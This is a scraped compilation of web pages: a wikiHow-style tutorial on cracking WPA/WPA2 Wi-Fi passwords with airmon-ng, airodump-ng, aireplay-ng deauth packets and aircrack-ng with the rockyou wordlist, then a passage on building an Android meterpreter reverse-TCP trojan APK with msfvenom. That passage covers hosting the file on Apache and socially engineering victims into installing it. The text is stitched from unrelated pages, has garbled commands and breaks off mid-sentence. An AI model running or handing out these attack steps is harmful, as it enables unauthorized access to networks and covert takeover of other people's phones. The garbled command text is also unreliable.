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Add a description, image, and links to the kali-linux-hacking topic page so that developers can more easily learn about it. Curate this topic To associate your repository with the kali-linux-hacking topic, visit your repo's landing page and select "manage topics." Learn more You can’t perform that action at this time. You signed in with another tab or
window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. 1 Log into your Kali desktop as root. This logs you in to the desktop environment as the root user. If you haven't enabled root logins in Kali and are using KDE or GNOME, run sudo apt install kali-root-login at the prompt.[1] Once installed,
you can set a root password by running sudo password (no username) and entering a new root password. At that point, you can log in to the desktop as root. 2 Plug your Wi-Fi card (if needed). If you don't have a Wi-Fi card that allows monitoring (RFMON) or you're using Kali Linux in a virtual machine, you'll need to attach an external card that does.
In most cases, simply attaching the card to your computer will be enough to set it up. Check the instructions for your Wi-Fi card to be sure. If you're not sure if your Wi-Fi card supports monitoring, it doesn't hurt to try these next few steps. Advertisement 3 Disconnect from Wi-Fi. To successfully test a network, you'll want to make sure your computer
is not actively connected to Wi-Fi—not even to the network you're testing. 4 In a terminal window, run the airmon-ng command. This tool come with Kali Linux as a part of the aircrack-ng package, and will show you the names of the connected Wi-Fi interface(s). You'll want to take note of what you see under the "Interface" header for your card. If you
don't see an interface name, your Wi-Fi card doesn't support monitoring. 5 Run airmon-ng start wlan0 to start monitoring the network. If the name of your Wi-Fi interface isn't wlanO, replace that part of the command with the correct name. This gives you a new virtual interface name, which will usually be something like mon0, which you'll see next to
"(monitor mode enabled)." If you see a message that says "Found processes that could cause trouble," run airmon-ng check kill to kill them. 6 Run airodump-ng mon0O to view the results. Replace mon0 with the correct virtual interface name if that's not what you saw earlier. This displays a data table for all Wi-Fi routers in range. 7 Find the router you
want to hack. At the end of each string of text, you'll see a router name. Make sure the router is using WPA or WPA2 security. If you see "WPA" or "WPA2" in the "ENC" column, you can proceed. 8 Find the BSSID and channel number of the router. Now you'll want to make note of the values of the "BSSID" and "CH" fields for the router you want to
hack. These pieces of information are to the left of the network's name. 9 Monitor the network for a handshake. A "handshake" occurs when an item connects to a network (e.g., when your computer connects to a router). You need to wait until a handshake occurs so you capture the data necessary to crack the password. To start monitoring, run the
following command: airodump-ng -¢c number --bssid xx:xx:xx:xx:xX:XX -W /root/Desktop/ mon0O Replace the word number with the channel number you saw, and the xx:xx:xx:xx:xx:xx with the BSSID. As long as this command stays running, you'll be monitoring for all connections and new handshakes. Advertisement 1 Understand what a deauth attack
does. A deauth attack sends deauthentication packets to the router you're trying to break into, causing uses to disconnect and requiring them to log back in. When a user logs back in, you will be provided with a handshake. If you don't do a deauth attack, you might have to wait around for a long time for a handshake to complete—you'll need that
handshake to crack the password. If you already see a line with the tag "WPA handshake:" followed by a MAC address in the output of the airodump-ng command, skip to Step 5—you have what you need to crack the password and don't need to send deauth packets. Remember—use these tools for ethical purposes only. 2 Wait for something to connect
to the network. Once you see two BSSID addresses appear next to each other—one labeled BSSID (the Wi-Fi router) and the other labeled STATION (the computer or other device)—this this means a client is connected. To force them into a handshake, you'll now send them deauth packets that kill their connection. 3 Open a new terminal. Make sure
airodump-ng is still running in original terminal window, and drag it to another place on your desktop so both terminals are visible. 4 Send the deauth packets. Run this command, replacing STATION BSSID with the BSSID of the client that connected to the network, and NETWORK BSSID with the router's BSSID: aireplay-ng -0 2 -a STATION BSSID -
¢ NETWORK BSSID mon0. This command will send 2 deauth packets to disconnect the client from the network.[2] Don't try to send more than this—sending too many packets could prevent the client from reconnecting and generating the handshake. As long as you're close enough to the target client, they'll be disconnected from the router and forced
to reconnect with a handshake. If this doesn't work, move closer to the client. As soon as the client reconnects, all of the information you'll need to crack the password will be available. 5 In the original terminal window, press Control+C to quit airodump-ng. This stops the dump and saves a file ending with .cap to your desktop. 6 Decompress the
rockyou.txt wordlist. To crack the password, you'll need a wordlist. Fortunately, since you're using Kali Linux, you have several already in /usr/share/wordlists.[3] The one we'll want to use is called rockyou.txt, but it's zipped up by default. To unzip it, run gzip -d /usr/share/wordlists/rockyou.txt.gz. You won't be able to crack the password if it's not in
the wordlist. You can always try one of the other wordlists if rockyou.txt doesn't crack the password. 7 Run the command to crack the password. You'll use a tool called aircrack-ng, which come with Kali Linux, to do so. The command is aircrack-ng -a2 -b NETWORK BSSID -w /usr/share/wordlists/rockyou.txt /root/Desktop/*.cap. Replace NETWORK
BSSID with the BSSID for the router. Depending on the strength of the password and the speed of your CPU, this process can take anywhere from a few hours to a few days. If you're cracking static WEP key network instead of a WPA/WPA2-PSK network, replace -a2 with -al.[4] 8 Look for "KEY FOUND!" in the terminal window. When you see a "KEY
FOUND!" heading appear, aircrack-ng has found the password, which will appear in plain text. Advertisement Add New Question Question What is a word list, and how do I find one? A word list is a file with passwords in it. RockYou is a good one. Question Where can I download Kali Linux? Go to kali.org. At the top of the page, there is a Download
tab. Once you open that, it will pull up the list of current downloads. Question Who created Kali Linux? Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. Mati Aharoni, Devon Kearns and Rapha€l Hertzog are the core developers. See more
answers Ask a Question Advertisement Thanks! Advertisement Thanks! Thanks! Advertisement JL. Written by: wikiHow Technology Writer This article was written by Jack Lloyd and by wikiHow staff writer, Nicole Levine, MFA. Jack Lloyd is a Technology Writer and Editor for wikiHow. He has over two years of experience writing and editing
technology-related articles. He is technology enthusiast and an English teacher. This article has been viewed 1,119,320 times. Co-authors: 26 Updated: June 23, 2022 Views: 1,119,320 Categories: Wi Fi Print Send fan mail to authors Thanks to all authors for creating a page that has been read 1,119,320 times. Academia.edu uses cookies to
personalize content, tailor ads and improve the user experience. By using our site, you agree to our collection of information through the use of cookies. To learn more, view our Privacy Policy. We will utilize msfvenom in order to make a payload and set it aside as a ‘.apk’ file. In the execution of generating a payload, now we have to frame-up a
listener to the Metasploit framework. Then, we have to manipulate the victim in order that he/she is convinced to download that payload or the “.apk’ the file generated earlier. Usually, social engineering is the psychological manipulation of people into performing actions or divulging confidential information. Now, once the victim installs the
malevolent file then the attacker can easily get back a meterpreter session on the Metasploit. You can likewise hack an Android gadget through the Internet by utilizing your Public/External IP in the LHOST and also by the concept of ‘port forwarding’.Note: Use the beneath techniques just for instructive/testing purposes on your own Wi-Fi or with the
consent of the proprietor. Try not to utilize this for malignant purposes. Generating the payloadl. Type “ifconfig” into the terminal session in order to view the network interface configuration of the device we are using to execute the attack.ifconfig Here:1. ethO is the First Ethernet interface (Consists of ‘inet’” which shows the IP(Internet Protocol)
address of our attacking machine).2. lo is the Loopback interface.After getting your interface IP address, we will use msfvenom that will produce a payload to infiltrate the Android OS.2. Listing all the accessible choices with msfvenom. (This will list down all the boundaries that will assist us with producing our payload).msfvenom -h Now, the payload
can be saved in “.exe’, ‘.msi’, or ‘.apk’, etc. format, but for this tutorial, we will use ‘.apk’ format as the victim’s device would an android device which supports ‘.apk’ extension.3. So now we have to create a payload which we may execute on the victim’s device in order to execute the attack successfully. msfvenom -p android/meterpreter/reverse tcp
LHOST=192.168.18.63 LPORT=4444 R> /var/www/androidhack.apk/ Here:1. -p shows the payload type2. android/meterpreter/reverse tcp indicates a reverse meterpreter shell would roll in from an objective Android gadget.3. LHOST is our IP i.e attacker’s IP4. LPORT is the listening port on the attacker’s machine.5. R> /var/www/html generates the
output directly on apache server6. ‘.apk’ is the file extension of the Trojan created.This would set aside some effort(time) to produce an apk document of around 10,186 bytes.Setting up the Attackl. Firstly, we need to check the status of the Apache server (Web Application Server) and to do so enter the following commands in the terminalservice
apache?2 start service apache2 status We, can use this(apache2) web server in order to host files, or we can put on Google Drive or Dropbox or any of the cloud providers who have shared files and then we can put those files on the server, and then the victims will not be able to detect any malicious intent because the Network Intrusion Detection
System may bypass and say, Hey! This is a friendly domain we’ll let it go.2. Now, all seems to be set up correctly, and we can start the msfconsole.msfconsole 3. Use multi/handler exploit, set payload the same as generated previously(This will help us to generate a listener).use multi/handler set PAYLOAD android/meterpreter/reverse tcp 4. Now, we
will use the ‘show options’ command in order to see the configuration, set the LHOST(Local Host) and LPORT(Local Port) values the same as used in the payload (Type the following commands for the same).show options5. Here, the LPORT is already set, so we just need to set the LHOST to our attacking machine’s IP, and we can do this by the
following command:set LHOST 192.168.18.63 6. Now, we can type ‘exploit’ in order to launch the desired attack.exploit So, once we execute the ‘exploit’ command, the TCP handler starts immediately. In real-life scenarios, some social engineering procedures can be utilized to let the objective download the vindictive ‘.apk’ file. For the tutorial
purpose, we are simply making the victim machine download the file in the Android Phone.Executing the attackExploitation:1. Type the following web address in a web browser on the victim’s phone.(
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